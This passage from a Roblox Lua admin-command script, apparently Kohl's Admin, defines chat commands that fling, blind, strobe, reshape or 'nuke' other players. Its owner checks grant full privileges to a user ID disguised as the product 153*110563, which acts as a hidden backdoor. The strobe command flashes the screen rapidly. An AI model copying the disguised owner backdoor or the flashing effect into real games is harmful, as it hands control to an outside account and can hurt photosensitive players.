if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1744
v.Character.Torso.Transparency = 0
1745
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1746
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1747
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1748
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1749
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1750
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1751
end
1752
end))
1753
end
1754
end
1755
1756
if msg:lower():sub(1,8) == "creeper " then
1757
local plrz = GetPlr(plr, msg:lower():sub(9))
1758
for i, v in pairs(plrz) do
1759
coroutine.resume(coroutine.create(function()
1760
if v and v.Character and v.Character:findFirstChild("Torso") then
1761
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1762
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1763
v.Character.Torso.Transparency = 0
1764
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1765
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1766
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1767
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1768
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1769
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1770
end
1771
end))
1772
end
1773
end
1774
1775
if msg:lower():sub(1,10) == "uncreeper " then
1776
local plrz = GetPlr(plr, msg:lower():sub(11))
1777
for i, v in pairs(plrz) do
1778
coroutine.resume(coroutine.create(function()
1779
if v and v.Character and v.Character:findFirstChild("Torso") then
1780
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1781
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1782
v.Character.Torso.Transparency = 0
1783
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1784
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1785
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1786
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1787
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1788
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1789
end
1790
end))
1791
end
1792
end
1793
1794
if msg:lower():sub(1,8) == "bighead " then
1795
local plrz = GetPlr(plr, msg:lower():sub(9))
1796
for i, v in pairs(plrz) do
1797
coroutine.resume(coroutine.create(function()
1798
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1799
end))
1800
end
1801
end
1802
1803
if msg:lower():sub(1,9) == "minihead " then
1804
local plrz = GetPlr(plr, msg:lower():sub(10))
1805
for i, v in pairs(plrz) do
1806
coroutine.resume(coroutine.create(function()
1807
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1808
end))
1809
end
1810
end
1811
1812
if msg:lower():sub(1,6) == "fling " then
1813
local plrz = GetPlr(plr, msg:lower():sub(7))
1814
for i, v in pairs(plrz) do
1815
coroutine.resume(coroutine.create(function()
1816
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1817
local xran local zran
1818
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1819
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1820
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1821
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1822
end
1823
end))
1824
end
1825
end
1826
1827
if msg:lower():sub(1,8) == "seizure " then
1828
local plrz = GetPlr(plr, msg:lower():sub(9))
1829
for i, v in pairs(plrz) do
1830
coroutine.resume(coroutine.create(function()
1831
if v and v.Character then 
1832
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1833
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1834
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1835
end
1836
end))
1837
end
1838
end
1839
1840
if msg:lower():sub(1,10) == "unseizure " then
1841
local plrz = GetPlr(plr, msg:lower():sub(11))
1842
for i, v in pairs(plrz) do
1843
coroutine.resume(coroutine.create(function()
1844
if v and v.Character then 
1845
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1846
wait(.1) v.Character.Humanoid.PlatformStand = false
1847
end
1848
end))
1849
end
1850
end
1851
1852
if msg:lower():sub(1,12) == "removelimbs " then
1853
local plrz = GetPlr(plr, msg:lower():sub(13))
1854
for i, v in pairs(plrz) do
1855
coroutine.resume(coroutine.create(function()
1856
if v and v.Character then 
1857
for a, obj in pairs(v.Character:children()) do 
1858
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1859
end
1860
end
1861
end))
1862
end
1863
end
1864
1865
if msg:lower():sub(1,5) == "name " then
1866
local chk1 = msg:lower():sub(6):find(" ") + 5
1867
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1868
for i, v in pairs(plrz) do
1869
coroutine.resume(coroutine.create(function()
1870
if v and v.Character and v.Character:findFirstChild("Head") then 
1871
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1872
local char = v.Character
1873
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1874
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1875
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1876
char.Head.Transparency = 1
1877
end
1878
end))
1879
end
1880
end
1881
1882
if msg:lower():sub(1,7) == "unname " then
1883
local plrz = GetPlr(plr, msg:lower():sub(8))
1884
for i, v in pairs(plrz) do
1885
coroutine.resume(coroutine.create(function()
1886
if v and v.Character and v.Character:findFirstChild("Head") then 
1887
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1888
end
1889
end))
1890
end
1891
end
1892
1893
if msg:lower():sub(1,5) == "char " then
1894
local chk1 = msg:lower():sub(6):find(" ") + 5
1895
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1896
for i, v in pairs(plrz) do
1897
coroutine.resume(coroutine.create(function()
1898
if v and v.Character then 
1899
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1900
v:LoadCharacter()
1901
end
1902
end))
1903
end
1904
end
1905
1906
if msg:lower():sub(1,7) == "unchar " then
1907
local plrz = GetPlr(plr, msg:lower():sub(8))
1908
for i, v in pairs(plrz) do
1909
coroutine.resume(coroutine.create(function()
1910
if v and v.Character then 
1911
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1912
v:LoadCharacter()
1913
end
1914
end))
1915
end
1916
end
1917
1918
if msg:lower():sub(1,7) == "infect " then
1919
local plrz = GetPlr(plr, msg:lower():sub(8))
1920
for i, v in pairs(plrz) do
1921
coroutine.resume(coroutine.create(function()
1922
if v and v.Character then
1923
Infect(v.Character)
1924
end
1925
end))
1926
end
1927
end
1928
1929
if msg:lower():sub(1,11) == "rainbowify " then
1930
local plrz = GetPlr(plr, msg:lower():sub(12))
1931
for i, v in pairs(plrz) do
1932
coroutine.resume(coroutine.create(function()
1933
if v and v.Character and v.Character:findFirstChild("Torso") then 
1934
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1935
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1936
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1937
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1938
cl.Parent = v.Character cl.Disabled = false
1939
end
1940
end))
1941
end
1942
end
1943
1944
if msg:lower():sub(1,9) == "flashify " then
1945
local plrz = GetPlr(plr, msg:lower():sub(10))
1946
for i, v in pairs(plrz) do
1947
coroutine.resume(coroutine.create(function()
1948
if v and v.Character and v.Character:findFirstChild("Torso") then 
1949
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1950
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1951
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1952
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1953
cl.Parent = v.Character cl.Disabled = false
1954
end
1955
end))
1956
end
1957
end
1958
1959
if msg:lower():sub(1,8) == "noobify " then
1960
local plrz = GetPlr(plr, msg:lower():sub(9))
1961
for i, v in pairs(plrz) do
1962
coroutine.resume(coroutine.create(function()
1963
if v and v.Character then
1964
Noobify(v.Character)
1965
end
1966
end))
1967
end
1968
end
1969
1970
if msg:lower():sub(1,9) == "ghostify " then
1971
local plrz = GetPlr(plr, msg:lower():sub(10))
1972
for i, v in pairs(plrz) do
1973
coroutine.resume(coroutine.create(function()
1974
if v and v.Character and v.Character:findFirstChild("Torso") then 
1975
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1976
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1977
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1978
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1979
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1980
if prt.Name:find("Leg") then prt.Transparency = 1 end
1981
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1982
end end
1983
end
1984
end))
1985
end
1986
end
1987
1988
if msg:lower():sub(1,8) == "goldify " then
1989
local plrz = GetPlr(plr, msg:lower():sub(9))
1990
for i, v in pairs(plrz) do
1991
coroutine.resume(coroutine.create(function()
1992
if v and v.Character and v.Character:findFirstChild("Torso") then 
1993
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1994
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1995
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1996
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1997
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1998
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1999
end end
2000
end
2001
end))
2002
end
2003
end
2004
2005
if msg:lower():sub(1,6) == "shiny " then
2006
local plrz = GetPlr(plr, msg:lower():sub(7))
2007
for i, v in pairs(plrz) do
2008
coroutine.resume(coroutine.create(function()
2009
if v and v.Character and v.Character:findFirstChild("Torso") then 
2010
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2011
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2012
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2013
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2014
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2015
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2016
end end
2017
end
2018
end))
2019
end
2020
end
2021
2022
if msg:lower():sub(1,7) == "normal " then
2023
local plrz = GetPlr(plr, msg:lower():sub(8))
2024
for i, v in pairs(plrz) do
2025
coroutine.resume(coroutine.create(function()
2026
if v and v.Character and v.Character:findFirstChild("Torso") then
2027
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
2028
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2029
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2030
v.Character.Torso.Transparency = 0
2031
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2032
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2033
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2034
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2035
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2036
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2037
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2038
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2039
if prt.Name == "FAKETORSO" then prt:Destroy() end
2040
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2041
end end
2042
end
2043
end))
2044
end
2045
end
2046
2047
if msg:lower():sub(1,7) == "trippy " then
2048
local plrz = GetPlr(plr, msg:lower():sub(8))
2049
for i, v in pairs(plrz) do
2050
coroutine.resume(coroutine.create(function()
2051
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2052
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2053
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2054
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2055
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2056
end
2057
end))
2058
end
2059
end
2060
2061
if msg:lower():sub(1,9) == "untrippy " then
2062
local plrz = GetPlr(plr, msg:lower():sub(10))
2063
for i, v in pairs(plrz) do
2064
coroutine.resume(coroutine.create(function()
2065
if v and v:findFirstChild("PlayerGui") then 
2066
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2067
end
2068
end))
2069
end
2070
end
2071
2072
if msg:lower():sub(1,7) == "strobe " then
2073
local plrz = GetPlr(plr, msg:lower():sub(8))
2074
for i, v in pairs(plrz) do
2075
coroutine.resume(coroutine.create(function()
2076
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2077
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2078
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2079
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2080
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2081
end
2082
end))
2083
end
2084
end
2085
2086
if msg:lower():sub(1,9) == "unstrobe " then
2087
local plrz = GetPlr(plr, msg:lower():sub(10))
2088
for i, v in pairs(plrz) do
2089
coroutine.resume(coroutine.create(function()
2090
if v and v:findFirstChild("PlayerGui") then 
2091
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2092
end
2093
end))
2094
end
2095
end
2096
2097
if msg:lower():sub(1,6) == "blind " then
2098
local plrz = GetPlr(plr, msg:lower():sub(7))
2099
for i, v in pairs(plrz) do
2100
coroutine.resume(coroutine.create(function()
2101
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2102
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2103
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2104
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2105
end
2106
end))
2107
end
2108
end
2109
2110
if msg:lower():sub(1,8) == "unblind " then
2111
local plrz = GetPlr(plr, msg:lower():sub(9))
2112
for i, v in pairs(plrz) do
2113
coroutine.resume(coroutine.create(function()
2114
if v and v:findFirstChild("PlayerGui") then 
2115
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2116
end
2117
end))
2118
end
2119
end
2120
2121
if msg:lower():sub(1,7) == "guifix " then
2122
local plrz = GetPlr(plr, msg:lower():sub(8))
2123
for i, v in pairs(plrz) do
2124
coroutine.resume(coroutine.create(function()
2125
if v and v:findFirstChild("PlayerGui") then 
2126
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2127
end
2128
end))
2129
end
2130
end
2131
2132
if msg:lower():sub(1,9) == "loopheal " then
2133
local plrz = GetPlr(plr, msg:lower():sub(10))
2134
for i, v in pairs(plrz) do
2135
if v then
2136
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2137
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2138
repeat wait()
2139
coroutine.resume(coroutine.create(function()
2140
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2141
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2142
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2143
end
2144
end))
2145
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2146
end
2147
end
2148
end
2149
2150
if msg:lower():sub(1,11) == "unloopheal " then
2151
local plrz = GetPlr(plr, msg:lower():sub(12))
2152
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2153
end
2154
2155
if msg:lower():sub(1,10) == "loopfling " then
2156
local plrz = GetPlr(plr, msg:lower():sub(11))
2157
for i, v in pairs(plrz) do
2158
if v then
2159
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2160
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2161
repeat
2162
coroutine.resume(coroutine.create(function()
2163
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2164
local xran local zran
2165
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2166
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2167
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2168
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2169
end
2170
end))
2171
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2172
end
2173
end
2174
end
2175
2176
if msg:lower():sub(1,12) == "unloopfling " then
2177
local plrz = GetPlr(plr, msg:lower():sub(13))
2178
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2179
end
2180
	
2181
end
2182
2183
-------------------------
2184
-- True Owner Commands --
2185
-------------------------
2186
2187
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2188
2189
if msg:lower():sub(1,3) == "oa " then
2190
local plrz = GetPlr(plr, msg:lower():sub(4))
2191
for i, v in pairs(plrz) do
2192
coroutine.resume(coroutine.create(function()
2193
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2194
end))
2195
end
2196
end
2197
2198
if msg:lower():sub(1,5) == "unoa " then
2199
for i = 1, #owners do
2200
coroutine.resume(coroutine.create(function()
2201
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2202
end))
2203
end
2204
end
2205
2206
if msg:lower() == "settings" then
2207
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2208
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2209
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2210
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2211
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2212
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2213
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2214
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2215
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2216
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2217
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2218
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2219
end
2220
2221
end
2222
2223
--------------------
2224
-- Owner Commands --
2225
--------------------
2226
2227
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2228
2229
if msg:lower():sub(1,3) == "pa " then
2230
local plrz = GetPlr(plr, msg:lower():sub(4))
2231
for i, v in pairs(plrz) do
2232
coroutine.resume(coroutine.create(function()
2233
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2234
end))
2235
end
2236
end
2237
2238
if msg:lower():sub(1,5) == "unpa " then
2239
for i = 1, #admins do
2240
coroutine.resume(coroutine.create(function()
2241
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2242
end))
2243
end
2244
end
2245
2246
if msg:lower():sub(1,5) == "nuke " then
2247
local plrz = GetPlr(plr, msg:lower():sub(6))
2248
for i, v in pairs(plrz) do
2249
coroutine.resume(coroutine.create(function()
2250
if v and v.Character and v.Character:findFirstChild("Torso") then
2251
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2252
p.Anchored = true
2253
p.CanCollide = false
2254
p.formFactor = "Symmetric"
2255
p.Shape = "Ball"
2256
p.Size = Vector3.new(1,1,1)
2257
p.BrickColor = BrickColor.new("New Yeller")
2258
p.Transparency = .5
2259
p.Reflectance = .2
2260
p.TopSurface = 0
2261
p.BottomSurface = 0
2262
p.Touched:connect(function(hit)
2263
if hit and hit.Parent then
2264
